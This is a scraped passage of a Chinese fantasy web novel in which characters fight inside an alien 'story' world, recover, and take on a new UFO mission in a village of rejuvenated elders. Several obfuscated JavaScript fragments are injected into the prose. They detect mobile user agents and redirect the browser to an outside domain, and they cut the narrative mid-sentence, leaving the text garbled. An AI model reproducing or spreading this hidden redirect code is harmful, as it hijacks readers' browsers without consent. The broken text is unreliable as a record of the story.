l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031266|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后声音逐渐变大,接连不断地喊着: “救救我!我想回家!” 林清原惊诧地发现,原本空无一物的坟包里,出现了一个又一个身影。 这些身影从坟中跳出,进行无差别攻击。 刘栋海和外姨婆认出了这些身影。 这些“人”全是坟里的“钉子户”! “妈!” 刘栋海被一个女人抓住了。仔细看这女人只有一只手。 他被扣住脖子带离了地面,挣脱不开,只能无助的扑腾。 事态危急,林清原顾不得再和道士打斗,飞身扬腿踢上那女人的手腕。 道士抓住时机,锣锤刺向林清原的后心。 锣锤看着并不锋利,刺进人的身体却毫不费力。 林清原听到声音回头,被眼前的一幕惊住。 新记明替林清原挡住了道士的一击。 锣锤刺穿了新记明的身体,带出时,滋出的血喷了林清原一脸。 新记明失力跪下。 然而不待林清原上前,下一刻,林清原和刘栋海就被女人一脚踢飞了。 刘栋海受伤不轻,林清原受伤更重,因为她中途强行用剑撑地,调整了一下位置,让自己垫在了刘栋海身后。 林清原捂着胸口吐出了一口血,有一部分喷到了剑上。 剑上的红线似乎更红了一些。 女人张大嘴巴尖声叫起来,而在她嘴里,有一个东西正在发光。 不只林清原发现了,刘栋海也发现了。 “‘核心’!” 既然确定了“核心”的位置,那只要抢下“核心”,这个“故事”就可以结束了。 林清原颤抖着站起身。 她估计自己的肋骨断了几根。 “你躲好,我去拿‘核心’!” 给刘栋海留下一句话,她就朝女人奔去。 新记明早已重回战场。 替林清原抗下那一击后,他的动作明显受了影响。虽然并不是胸腹这种关键部位被捅了对穿,不至于无法行动,但是左肩的破洞中有骨头刺出,很明显他的左手已经不能用了。 林清原踏过纸人和女人们的肩膀,及时赶到了新记明身边,双腿一夹,就拧断了一个女人的头。 林清原顺势摔在地上,又咳出了一口血。 “给你剑!” 已经到这种时候了,林清原就算再不放心古剑对新记明的影响,也要强压下心中的不安,把剑给新记明用。 新记明从小学的就是剑法,失去了剑,他的实力就不可能发挥完全。 早在进入“故事”后,林清原就提议过要把古剑给新记明用,但是被后者拒绝了。 他说:“剑在心中。” 结果心中的剑还是不能幻化出实体嘛! 后来新记明为了检查剑,用了那一会儿,手就被莫名其妙划破出血了。 想来是古剑的古怪。 林清原也不敢再让新记明碰古剑了,别他用了,再像她之前那样被古剑控制了。 那可是彻底的麻烦了! 只是现在这种混乱情况,除了让新记明拿过古剑用上“凌雪剑法”,古剑也没有更好的去处了。 新记明也明白这一点。于是他伸手去接。 却在此时,再生变故。 41. 能力的潜力 古剑盛绽红光,控住林清原,刺向新记明。 新记明惊骇之中被古剑刺中了身体。 古剑似有了生命般,疯狂吞食着新记明的血液。剑上的红线越来越宽,几息间就扩散到了整把剑上。 古剑,彻底成了一柄血剑。 新记明反应过来后就侧身躲过了下一次的剑袭。 这场忽然属于二人的战斗不被允许别人打扰。 有纸人和坟中人想趁机会偷袭,却被古剑几剑消灭。 林清原拼命想挣脱古剑的控制,却无济于事。 怎么办?怎么办!怎么办?! 古剑的攻势太猛,尽管新记明以自身为饵,引它攻至道士附近,让大部分攻击都被道士受了,他也不可避免地被砍出了越来越多的伤口。 不过很快,林清原发现了不对劲。 虽然新记明还是被古剑追着打,但是他被古剑碰到的次数在逐渐减少。 林清原看向新记明,隐约发觉他的状态有些奇怪。 全神贯注,又似乎超然物外。 确实如此。 此刻在新记明眼中,古剑的攻击速度变得越来越慢、攻击轨迹变得越来越清晰。 ——不是古剑的原因,是他自己的原因。 他的能力是“眼力”。他一直不太理解有什么用、又该怎么用,此时在这危急情况,他却无师自通,开始慢慢体会这个能力。 周围的声音慢慢消失,周围的情景也慢慢消弭。他的世界只剩下了这把剑。 红色的剑光成了他眼中唯一的颜色。 林清原并不清楚新记明身上发生了什么,但是她知道她再不摆脱古剑的控制,战况拖下去,新记明会死。 于是她尽量放空了心思。既然古剑会自动将靠近的其他怪物消灭,那就不用考虑自身的安全了。 胸口的疼痛随着她每一次的动作彰显着存在感。 断骨的刺戳,肌肉的撕扯,血液的涌动,都与愈发平静下来的心神形成对比。 这是林清原第一次用另一种角度感受自己的身体。 疼痛拉扯着她的身体往下坠,她的灵魂却往上飘。一丝一毫的动静都逃不脱她的感知。 渐渐的,她感觉自己找到了规律——蕴藏在她身体中的运动规律。 牵一发而动全身——身体里的每一颗细胞都在沿着这个规律行走。 如果是这样的话…… 林清原尝试往反方向使力。 一次不行,再试一次;再试不行,就再试一次…… 既然自己的能力是提升的速度,那么这种速度的进步就不该只仅限于四肢的进步——只要开始思考,这种速度的提升是怎么像往游戏角色身上加入数值那样随便的,那么能力的真正潜力就会开始展现。 古剑的控制力太过强大,即便是林清原这种久经锻炼的身体也逃不脱桎梏。 可是如果一次反抗的力量太过渺小,那么将这一次的力量再乘以许多倍呢? 正巧,林清原的能力正是速度。 在古剑再一次控制林清原的身体向左砍去时,她所有发力的肌肉以极快的速度震颤了几下——旁人看不清,林清原自己很清楚,这就是刚才她调动了全身力量作的反向拉力。 古剑的动作微不可查的顿了一下。 有用! 反抗初见成效,后面的尝试就得心应手了。 这种互相对抗的力量对于林清原的肉身来说是个极大的负担。但是她始终在咬牙坚持。身上飙出了细小的血柱,划在半空中,染红了林清原的眼,也染红了新记明的眼。 对抗模糊了时间。 最终,古剑被彻底控制,它脱开了林清原的手,掉落在地上。 而此时的林清原,已经变成了血人。 新记明抱住了倒下的林清原,自己也咳出了一口血。他的眼泪喷涌而出,浑身颤抖,连带着被抱住的林清原的身体都在颤抖。 他自己也分不太清楚此时的情感。 心疼、感动、庆幸、悲伤……他不知道。 只是他的眼泪一直在流,仿佛在呐喊着什么。 林清原已经昏死过去了。 刘栋海的惨叫令新记明回神。 他抬眼看去,看到主坟中的那个女人终于扫除了刘栋海身前的障碍,用仅剩的一只手向他抓去。 而被女人杀死的,是外姨婆。 刘栋海在被迫自己一个人后,就四处躲藏,在外姨婆附近迂回。 在生死关头,外姨婆被刘栋海毫不留情地推出去做了肉盾。 女人刚抓出了外姨婆的心脏,道士就攻向了她。 没了旁人的阻拦,道士驱动的阵法中伸出了一只又一只白骨手爪,瞬间控制住了女人。 女人发出惨烈的叫声,她的身体在飞速融化。 “‘核心’啊!”刘栋海大喊。 新记明放下林清原,抓起古剑,脚步轻轻一点,剑影闪过,他出现在了女人的身前。 刘栋海的身体比他的脑袋更先反应过来,起了一身细密的鸡皮疙瘩。 刘栋海看着挡在自己面前的新记明,后知后觉,像是直面了一场初雪,略带寒冷,却并不刺骨,只是蔓延了满身的凉意。 女人的头落在了身后,滚到一旁,属于刘栋海母亲的那张脸直直的面向着刘栋海的方向。 在女人的伸出的舌头上,“核心”的真面目显现。 那是一小张纸钱——破旧的、粗劣的、敷衍的纸钱。 纸钱爆发出强烈的光亮,将所有人包裹了进去。 回到现实世界后,林清原清醒过一阵。 她醒过来第一件事,就是让白仙贝去联系警察,再给她家里打电话,辅助调查村里的人口拐卖案件。 成柳安抚她,由于UFO的突然出现,官方已经派了专业队伍接应。在经过一个白天的调查,已经确认了基本犯罪事实,接下来就等着抓捕与审判了。 “这么快?难道我还在‘故事’里吗?” 林清原看着忙碌的官方队伍和医护人员,一时间有些错乱。 这些案子少说也有几十年的历史了,只经过不到一天的调查,就能确认到案件情况? 白仙贝解释说,这是因为有一个热心群众提供了线索。 话音刚落,热心群众就过来了。 林清原刚看到热心群众,就憋吐了一口血。 热心群众一身黑色长袍,头戴道冠,背上背了个铜锣。 虽然他的脸不是缠绕的白骨爪,而是正常的人脸,偏瘦、偏黄,眉心中间还有个大痦子,但是林清原还是一眼就认出来了这是“故事”中出现的道士。 林清原伸手去抓剑,却抓了个空。 “我剑呢?” 新记明在一旁虚弱答道:“剑在我拿着。这次古剑的情况让我想起来了家里的一个传说,我回去调查一下。这剑我先带走,可以吗?” 林清原听了有些惊喜:“传说?拿走拿走。有线索了就是好事,总算摸到调查方向了。现在古剑变异了,你记得把它包起来,用的时候小心,别又出事了。” 新记明笑容温柔:“我知道了。” 林清原不自觉和新记明对视着。 新记明的眼神如同春水,料峭的寒风散去,只余暖意。含笑看过来的样子,再一次让她想起了那种茶。 “含雪……”林清原喃喃着茶的名字。 嘴里升起的甜味泛到了全身,连带着周边的空气都是甜的。 林清原连咽了好几口唾沫,试图抚慰狂跳不止的心脏。 新记明听到了林清原的呢喃。他笑道:“回去了再给你送些‘含雪’过去。不过季节还没到,新茶还没制好,留着的是去年的‘沉雪’。你要是喜欢,等新茶制好了,再给你送第一批。” 道士观察了二人一会儿,没忍住笑出了声。 林清原回神,看向道士。 除去刚见到时的惊吓,现在她已经淡定多了。 道士伸出手,一手握一人,同时把躺着的两人的手都握了握。 “你们好啊,我是齐明,道名齐正明,在UFO事件中隶属于‘正道组’。久闻二位大名了。” “你是‘正道组’的人?”成柳惊讶问道。 “你知道?”林清原问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15048934|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 成柳点头。 “除了官方队伍以外,不是还有一些官方下派的‘非官方组织’嘛,‘正道组’就是其中之一。组成成员都是正式的道士,在非官组织里也是比较有名的存在了。我之前为了破咒,也和‘正道组’的人交流过。” 齐正明热情地和成柳打招呼:“成居士!我听观里的正平提过你,你虽不是正统玄门中人,却有一身好本领!他一直很可惜你没有正式入教呢!” 成柳沉稳地和他交谈着。 林清原看着道士,忽然想起了外姨婆,于是问道:“外姨婆人呢?” 新记明将他看到的刘栋海推人的事说了。 林清原沉默了几秒,问:“那刘栋海呢?” 白仙贝说:“刘栋海出来后就上了急救车,然后就被警察拉走了。” 林清原闭了闭眼,吩咐成柳:“刘栋海尾款付过之后,把他拉入黑名单。” 医护人员走进屋子,开始搬运林清原和新记明两位伤者。 林清原在说了那么多话后,精力也到了极限,很快又昏迷过去了。 关于村里更多的情况细节和后续,是在她醒来后,听来探望的人说的。 原来齐正明那个道士,前往村子是有预谋的。他接了一个单,要调查某个失踪多年的姑娘,他经过走访调查,再结合命理推算,锁定了这个村子。 而在来到这个村子后,他发现被拐卖的女人不止委托人家的女儿,还有更多的受害者。 于是他借着给村里人算命,博得了他们的信任,愿意听从他的指示,将村里的坟都迁到“大坟”里。 所谓“大坟”,其实只是个噱头。他真正的目的,是为了将那些埋藏在地底的“钉子户”们的尸骨重见天日,以便之后赶来的警察尽快对其身份进行采集。 道士在村里待了一个星期,也传了一个星期的道义。他边收集村里犯罪的证据,边教给大家咒语。 尖把把,生果果。宽锤锤,砸朵朵。祭品多,落血坨。代生土,佑祝锣。锣声响,奚事夺。 不是夺喜事,而是夺奚事。 这是齐正明自创的、专门针对这个村子的“钉子户”们的咒语。他取了“奚”字的古意,罪奴,意为让罪行昭告天下、罪奴们收取报应、亡人们得以安息。 好在后来的处理结果让大家得以放心。 隐藏在大山里的拐卖事件得到了社会的关注,也得到了准确的调查。除了一些时间太过久远的尸骨身份还在核实中,大部分尸骨都得到了认领。而村内还活着的女人们,有家庭的都回到了真正的家,家人已经不在的,也都被暂时安置到了妇幼保健院里。 除此之外,还有一件令众人比较振奋的消息。 那就是“故事”进度。 在诸多“译者”们的努力下,“故事”进度已经突破了五十大关,正式进入后半程。 在林清原住院期间,新记明过来看望过。他伤的也不轻,但是比起林清原的全身包扎,他最起码能行动自如。 至于这次“故事”的个人编译度,林清原没有看,她刚出来的时候还在昏着。不过新记明说他的编译度是百分之九十四,想来她的也差不多。 林清原在医院躺了一星期后就回家修养了。 在此期间,成柳和白仙贝也又进了一次“故事”。出来之后,成柳将收到的委托发到万事屋群里,能行动的人也挑了一两个感兴趣的小委托做了。 成柳也私聊林清原了,说他又再次收到了刘栋海的邀请,不过在几次拒绝后,也没再发消息过来了。 林清原给成柳发了一大笔奖金。 有成柳在,万事屋的委托事宜简直是简单的如同选择123似的,太省心了。 成柳收到奖金后很开心,开始在群里讨论出去玩的事情。 白仙贝也对出去玩的事很上心,选了好几个地点,还发了各地好看的风景图刷屏。 看大家出去玩的热情都很高,林清原干脆把这些事情全权交给了成柳和白仙贝决定。她乐的清闲,只管到时候当出钱的大老板。 于是万事屋的出行计划,暂定在林清原和新记明养好伤后了。 42. 又来开会了! 在林清原出院回家修养后没两天,新记明就如约送了“含雪”茶去了林家。不仅如此,他还带了一堆礼品,还给比利带了十大包超级冠军狗粮。这可把比利高兴得直围着他转。 林征看新志平不顺眼,但是对他儿子的态度还行。主要是新记明上门做客礼数周到,说话也温和诚恳,让他也挑不出错。 林家会客厅。 林清原喝了口茶。 虽然这次送来的茶是“沉雪”,但是口感还是很棒,多了点时间的韵味。 不过……她总觉得这茶有些甜过头了。尤其是她抬眼看向坐在一旁的新记明时,甜味更盛。 奇了怪了,这茶的后味有这么甜的吗? 新记明温和笑道:“茶的味道可还行?” 林清原狐疑地打量了他几眼。 新记明:“嗯?” 林清原敛眼看茶杯。 大概是错觉,新记明从“故事”里出来之后,就变得越来越温柔了,看她的眼神次次都像能柔出水。 想起新记明的前网名,林清原冷笑一声:你以为我会信你说喜欢大草原的说辞吗? 于是她掏出手机给他改了第三版备注—— 漆黑之子(脑子有水版)。 手却在“确认”键上犹豫了。 想了好一会儿,林清原还是把括号里的字删了,改成了“温柔版”。 不知是不是因为林清原伤的比较重,自上次从“故事”里出来后,她有将近一个月都没有再被拉进UFO里。而成柳和新记明甚至已经又进过了一次“故事”。 不过哪怕在养伤期间,林清原也没闲着。她主要在忙两件事,一件是古剑,一件是比利。 新记明在查过他家的资料后,确认了“原古”这把古剑与新家有渊源。只是“原古”这个名字,在他家的记载中,并不叫这个名字,而是叫“渊谷”,所以他之前才没联想起来。直到后来阴差阳错,古剑吸收了他的血成了血剑,他才隐约想起了这个传说。 “渊谷”,在新家的记载中,是把魔剑,通体红色,喜杀戮,行血招,遇弱息声,遇强则强。实力不够的人用上,会被其控制,逐渐摄取心神,直至将全身的血液奉上,成为铸剑的一滴原液。 这把魔剑的历史可以追溯到千年以前,最开始横行霸道,后来被“凌雪剑法”压制。那凌厉的如雪剑法恰好与大开大合的血剑法走两个极端,完美克制,魔剑这才就此销声匿迹。有野史记,“凌雪剑法”最开始的创立,就是为了克制魔剑的“渊谷剑法”。不过这也只是只言片语的猜测。在之后的时光里,“凌雪剑法”越发正统,并独创门派,“渊谷”这把魔剑,就只有零星的记载,偶尔现世,又随之消失。 一下子涉及到这种更为玄乎的“魔剑”,林清原还深深感慨了一番。她作为习武之人,自然知道以前的武术流传的断层,只有她这一派,还有其他一些派别,勉强传承到位了。但是乍听说千年以前的往事,也觉得似乎涉及了更为神秘的层次。 不得不感慨,在这个世界上,还有太多不为外人知的辛秘。 知晓了古剑的来历,下一步就是着手封印了。 魔剑的每一次出世,都伴随着灾祸。想起这回古剑出现的时机,正是UFO出现的时候。陈芜从“故事”中带出这把魔剑,属实是巧合。 好在方向确定了,后续工作就顺利多了。 封印古剑需要的材料不少,大家有目的的去寻找,倒也很快找齐了三分之一。剩下的三分之二,就只能慢慢找了。 至于比利,它是自从“白雪公主”的“故事”后,就再也没有进入过“故事”,它留在现实世界中的时间早就超过了“译者”的最长期限一个月。就连上次去刘栋海老家,林清原特意把它带在身边,它也没有被吸进UFO里。 不用进“故事”,这当然是件好事。只是林清原不放心,还是托了方室长去问情况,比利进入“故事”是否只是一次偶然的意外、它如果以后再也不进“故事”里,会不会对它身体有什么影响。 令她没想到的是,方室长专门将这件事上报给上级了,一层层递问,最后直接问到了外星人面前。 外星人平日并不怎么和人类接触,它们更多时候是不见踪影。人们并不知道它们去了哪里、做了什么,只是暂时没有对地球和人类造成更大的伤害,也就只能默许了这些。 比利的事,是正好遇上了外星人来验收成果的时机。 外星人对于已经收集到了百分之五十的故事进度很满意,特意过来履行约定,传授一些新技术。 比利的特殊案例,在人类看来稀奇,但对于外星人来说,只是实验里的一点可控变量罢了。 简单来说,外星人这次投放在地球上的“故事收集模式”是针对于人类的,所以适应的也是人类的身体状况。而别看比利的“狗译者”情况特殊,其实被意外吸进UFO里的“动物译者”数量也不少。只是基本没有“动物译者”能活下来,寥寥活下来的,也没机会上报到官方知晓。 因此,比利会再次进入“故事”是肯定的,只是时间不受限制,是纯随机。它之所以那么久还没再次进入“故事”,单纯是因为它运气好。 了解完情况,林清原放心了。尽管比利还是一定会再次被吸入UFO,但是她和比利基本形影不离,连睡觉都是在一间屋子里,真出了情况,她大概率也是在身边陪着的。 等到身体恢复的差不多了,林清原第二天就被吸进了UFO。而这次的“故事”完成的特别快,只二十分钟后,她就全须全尾的出来了,连一点皮都没蹭破。 速度太快,周围人都还是懵的。接到消息要赶来的官方人员,也停在了半路,面面相觑。 面对关心,林清原挠了挠脑袋,简单概括成了几个字:“打了几架,就出来了。” 有“故事”的限制在,具体情况也不得而知,平安出来就好。 日子仿佛恢复了平静。大家接委托、找材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“长久滞空?”林清原问。 王小曼调出资料,展示给大家看。 这些UFO会在某处出现,然后就停留在此,不再移动。短则一天,长则两周。而在它们停留期间,位于飞碟正下方的一公里圈内,会发生特殊的变化,有些是草木枯死,有些是牲跑畜疯,有些是人染重病。 而在某个时间,飞碟会突然拉人进“故事”里,哪怕有“译者”在人选范围里,时间也不再有一小时的宽容期,根本不给人以任何反应,一秒就选人完毕。 不止选人的时间变短了,净化“故事”的时间也变短了。 “多久?”新记明问。 方室长语气沉重。“20小时。” 不是一周,也不是一天,是连一天都不到的20小时。 现在联系不上外星人,当务之急是先解决这些变故。 怎么解决呢?就是加快净化“故事”的进程。 这是场不知前路的消耗战,但是这是目前唯一的办法了。 43. 返老还童村 林清原心下了然。 既然如此,今天召集万事屋的成员来开会的目的也很明确了。 方室长向大家保证:“我知道万事屋并不明确属于官方队伍,这次请大家帮忙也太过为难。但是奖励我可以做主,每通关一次,就能每人领到十万的补贴。如果有人不幸出了意外,赔偿会是一百万,家里人也会得到官方的妥善照顾。” 话说的很明了,方室长心里仍旧不安。 这些补贴看似不少,其实在林清原和新记明看来,连她们家业的千分之一都不到。哪怕是没有那么富有的白仙贝和成柳,又真的会愿意为了这点钱去赌上或许看不到尽头的牺命战吗? 不过私心来说,方室长还是希望万事屋能答应下来。 经过几个月的锻炼,万事屋已经不是最开始初出茅庐的小组织了,而是网上风头最盛的百分百好评大组织。这代表着万事屋的成员在处理委托、净化“故事”、掌握能力方面都是一等一的好手,各方面经验都很足,用来投入战斗再好不过。 只是……这个组织里的人太年轻了。年纪最大的成柳也才二十五岁,其余三人都还不到二十岁,一旦失去了任何一个人才,都是严重的损失。 在沉寂过后,林清原微微一笑,问道:“方室长,您叫我们过来,其实已经有预定的处理地点了吧?” 方室长被点破心思,露出了一个苦笑。 “是的。这次变故,我们已经把能调出去的的官方人员都外派了,但是人手还是严重不足。我们也已经和大部分非官方组织取得了联系,有些愿意帮忙,不过大部分都拒绝了。”他朝几人豁达地笑了笑:“我确实希望你们能参与,但是你们完全可以拒绝。虽然成为‘译者’后,每一次进‘故事’都是一次拼命,但风险总归是要比外派去消耗战要小的。保护人民是官方的责任,而就算是官方人员,也是这个国家的人民,我们会将每一位的安危放在心上。更何况你们还不算正式的官方人员,如何选择是你们的自由,不用有任何心理负担。” 一番诚恳的话说过,成柳率先发话了。 “我会加入。我以前就是警察,既然知道了这些事,我就不可能停下脚步留在后方了。”他看向林清原,“不过老大,我以我自己的名义参加。万事屋我能还挂名吗?要是我哪天出了意外,再把我名字去掉。” 他笑了一下。“等战斗结束,我还想留在万事屋呢。” 白仙贝带着哭腔的声音响起。 “就你逞英雄吗?在这时候耍什么酷!” 她泪眼朦胧地看向方室长。“方室长,我也以个人名义参加。我的能力是治疗,不论派到哪个队伍里,都能用得到。” 林清原没忍住笑出了声。她向后靠在了椅背上,姿态不似最开始的紧绷了:“方室长,我家的宝贝治疗师都发话了,外交官也要上战场了,那就把整个万事屋的名字都记上吧。”她歪头看着新记明,语气调笑:“新少掌门,你有意见吗?” 新记明勾起嘴角:“你是老大,我听话。” 林清原搂住白仙贝,擦去她的泪水。 “乖乖,别哭了。你可是万事屋专属治疗师,就算想给别的队伍出力,也要先顾好万事屋咯。咱们一起去出任务,没什么害怕的嗷。” 白仙贝紧紧抱住林清原,抽噎着:“小原……” 她心里的那点恐惧在林清原温暖的怀抱里消散了。 小原太细心了,她隐藏起来的小情绪总能被立马发觉,并且立刻释怀。 林清原就是世界上最好的女孩子! 成柳哈哈大笑起来:“好嘛,还是万事屋的大家一起行动更开心啦。就是仙贝太哭包了,到时候上战场了,治疗起来还是哭的比伤员还狠。” 白仙贝从林清原怀里抬起头,瞪了成柳一眼:“那你在我给你治伤的时候也别哭啊!明明你哭的比我厉害!” 成柳“哎”了几声,耳朵脖子都红了,愣是没说出什么。最后嘟囔了一句:“我也没说你不能哭啊。不想让你哭……” 林清原的眼神在斗嘴的二人间来回打量。 嗯……好像在她不知道的地方,发生了什么进展哦? 她咬住嘴唇,憋住了笑意,和坐对面的新记明对视上了。 看得出来,新记明也发现了什么端倪。 林清原和新记明默契地共同保守了这点小发现。 既然万事屋全员都决定参与这场消耗战,那剩下的就是准备投入战斗了。 方室长给出了三个地点,让万事屋选择。 最后定板了畜村。 畜村是邻市底下的一个小村子,很穷很落后,人口也不多,只有十几户人。但是这里有一个偏名,叫“长寿村”,老人都是活了一百多岁的,听说还有活到两百岁的! 不过在UFO停留在村子上方一周后,据官方调查人员传回的消息,或许这个村子可以改名了,改为“返老还童村”。 万事屋一行人第二天就赶了过去。 原本还有官方人员接应,但是在周边又出现了新的UFO,于是原先的官方人员都被调离了。 人手不足,分来分去,最后前往畜村调查的,就只有万事屋的人了。 与在山沟沟里的刘栋海的老家不同,畜村有很多田,但是质量不太好。几十年前这里落了个化肥厂,后来因为污染太重被迫关闭了。 工厂倒了,水和地也废了,大部分人就都搬走了。 目前留下来的就只剩固本的老人了。等这批老人不在了,畜村就成为历史了。 万事屋的人到的时候,飞碟还在村子上方停着。 林清原松了口气。 幸好UFO还没有吸人进去。 走进村子,就见到村口有几个小孩坐在凳子上,眯着眼晒太阳。 有了先前官方人员搜集到的资料,几人对目前村子的情况有了一些准备。 畜村已经没有年轻人了,更没有小孩。所以这几个小孩,大概率是村里的“老人”。 小孩们见到来人,懒懒地睁开眼,并没有开口询问。 小孩的外表,却浑身散发出一股行将就木的“朽气”,反差感让人有些难受。 林清原礼貌问好:“您们好,请问楚大强村长在哪儿?” 其中一个小孩脆生生地答了:“他去找花瓶姑姑了。” “花瓶姑姑?” “喏。”小孩比划了一下路,就又闭上眼晒太阳了。 几人在前往村长的去处的路上,遇到了一个趴在地上的小孩。 比利看到小孩的第一眼,就“汪汪”叫了起来。 林清原让比利噤声,自己去看小孩的情况。 手刚碰到小孩,她就皱起了眉头。 这小孩,已经死了。 白仙贝有些无措:“这也是村里的老人吗?是不是要找他家人来……” 成柳粗略检查了一下小孩的尸体。 “没有外伤,刚产生尸僵,尸斑还不明显。应该才死了不到两小时。” “自然死亡?”林清原问。 成柳:“不清楚。” 新记明抬头看空中的UFO,引得林清原也看了过去。 她略微沉了脸色。 还是说,这人的死亡是UFO的影响? 成柳去找了村口的人过来。 那几人见到死去的小孩,也没有太大反应,只是围在一起叹了口气,就回家拖了块板子过来把人抬走了。 抬板子的时候力气不足,还是成柳和新记明上手抬的。 等二人回来,林清原得知,尸体被放在了池塘后边的一口井旁。 “池塘后边打井?”白仙贝觉得奇怪。 成柳说:“池塘的水被污染了,用不了。井我也看了,是枯的,没水。” “枯井?那放井边是为什么?难道要用尸体去填井?”林清原挑眉。 具体要做什么,没人清楚。她们还要去找村长,于是这个小插曲就被暂时放过。 村长在村里的祠堂里。 林清原踏进祠堂后,就知道“花瓶姑姑”是什么了。 祠堂正中央的祭台上,摆放着一个半人高的瓷花瓶,花瓶是纯白色的,在灯光的照耀下很晃眼。 不过更晃眼的是花瓶口探出的那颗头——侧垂着脑袋,长发搭面,眼睛阖着。 是个面容清秀的美人头。 林清原起了一身鸡皮疙瘩,白仙贝更是被吓得尖叫一声。 村长转过身,面露不满:“不要吵到花瓶姑姑了。” 林清原仔细看去,才发现花瓶里的那颗头不是真的人头,而是一大朵形似人脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083460|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花。 “这是花……?” 白仙贝也看清楚了。她眨了眨眼,把差点被吓出来的眼泪憋回去了。 村长打量了几人一眼,在看到比利的时候皱起了眉头。 “畜生不能进祠堂。” 比利呲牙,作出凶狠的样子。 村长把几人带离祠堂说话。 “你们就是新的官老爷吧?” “官老爷?” 林清原有些疑惑这个称呼。 村长从衣服兜里掏出杆烟,双手捧着抽了一口,才答:“当官的嘛,都叫官老爷。” 林清原没有解释说她们不是官方人员,而是询问她们的住处在哪。 之前官方人员在的时候,村长安排的有住处,交接的时候也说去找村长交接。 村长带着人去了离祠堂不远的一间房子。 “这是以前的空屋子,先前的官老爷留下的还有点东西,你们自己看着办吧。” 院子里堆了半袋米和一些有点蔫掉的蔬菜。物资的旁边就是一口井。 林清原去看了,也是口枯井。 “村长,你们这儿的井都不出水吗?” “以前出水,后来井里出来一堆蛇,赶也赶不完,请了花瓶姑姑才好。不过从那之后就不出水了。” 新记明问:“每一家都打井了吗?” 村长点头。“是啊。以前人还多的时候,家家都打的有。现在人都走的差不多了。” 林清原向村长讲了她们路上遇到的那具尸体。 村长低下头,抽了几口烟,说:“时候到了,人当然该走了。”他抬头看天,“不管有没有这大盘子,寿命也都差不多咯。” 成柳记起畜村的“长寿村”的别称,于是问道:“村长今年高寿啊?” “一百八十六咯。” 这个数字震惊到了大家。 “您真的这么大年纪了吗?可是您看起来……”白仙贝看着村长小小的身体,噎了一下。 村长目前是小孩模样,可是除了走路有些缓慢,别的瞧着一切健康。 要是真有这么大年纪,病痛肯定也不少了。现在重新变成小孩,也不知是不是一件好事。 “那去世的那位呢?他有多少岁了?”新记明问。 “两百了吧,还是再多点儿?到年纪咯。”村长也记不清了。他看着白仙贝一脸惋惜的样子,笑道: “人年纪大了,身体就不行了。他估计是想去田里看看,然后走到一半就没了。” 成柳问:“现在村里人还都种田吗?” 想起抬走那位“两百岁老人”的尸体的板子,还是他和新记明帮手的。现在成了小孩身体,力量薄弱,怕是也没法种田了。 “随便撒点种子,勉强糊口罢了。”村长敲了敲杆子,抖抖烟灰。他的表情漫不经心,说的话还挺有深度:“人老了,就干不动活儿了。可是小孩呢,人还小,也干不动活儿。一个要活到尽头了,一个才刚开始活着,正好是人一生的两头儿,活到最后都一样。” “那……尸体放在井边,不用我们帮忙吗?现在天气还有点热,放久了可能不太好。” 林清原说的比较委婉。 “没事儿。死的人都会被花瓶姑姑收走。” 顺着村长的回答,几人问了更多的细节。 结合官方人员给的先手资料,补充出了村里更完整的故事。 花瓶姑姑治了井中的蛇灾,也给了村里人长久的寿命。不过代价是,在村里死去的人的尸身,都会被花瓶姑姑收走。而花瓶姑姑是传达神的旨意的神使,她被村民们推举出来,保佑村里的所有人都健康长寿。 “嗯?你们的长寿是花瓶姑姑给的?那蛇灾是什么时候发生的?”林清原问。 村长回忆:“七八十年咯。” 林清原觉得话里有漏洞:“既然蛇灾是七八十年前才有的,花瓶姑姑是之后才请的,那你们村里动辄一两百岁的,都是怎么长寿的?” 村长改口:“那就是一百七八十年前咯。” 众人:“???” 怎么蛇灾的时间还变来变去的? 白仙贝问:“那花瓶姑姑不是花吗?为什么是村民们推举出来的?” 村长说的淡然:“花是花,花瓶里的才是花瓶姑姑。” 44. 花瓶姑姑的历史 村长走后,新记明把资料发到了群里。 “这是什么?”林清原问。 “村长说的蛇灾时间不准确,我就问了飞研办的人,让他们调了畜村的立村时间。” 资料上显示,畜村的立村时间是六十年前,而在立村十年后,化肥厂建起,蛇灾也随之出现。当时派了警察和消防队的人员去治理蛇灾,发现这些蛇是附近生存的,因为有了化肥厂的污染,才躲到了村里,被误以为是井里爬出来的。 “喔,迷信嘛。”成柳问:“那长寿村又是怎么回事?大家真有这么大年纪了?” 白仙贝夸张地捂住了嘴:“哇,听你这个玄学专业户口中说出‘迷信’这个词,总感觉好神奇。” 下一刻成柳就屈指轻轻敲上了她的脑袋。 “别捣乱。” 新记明又发了一份清单,清单上是村里人的年龄统计。 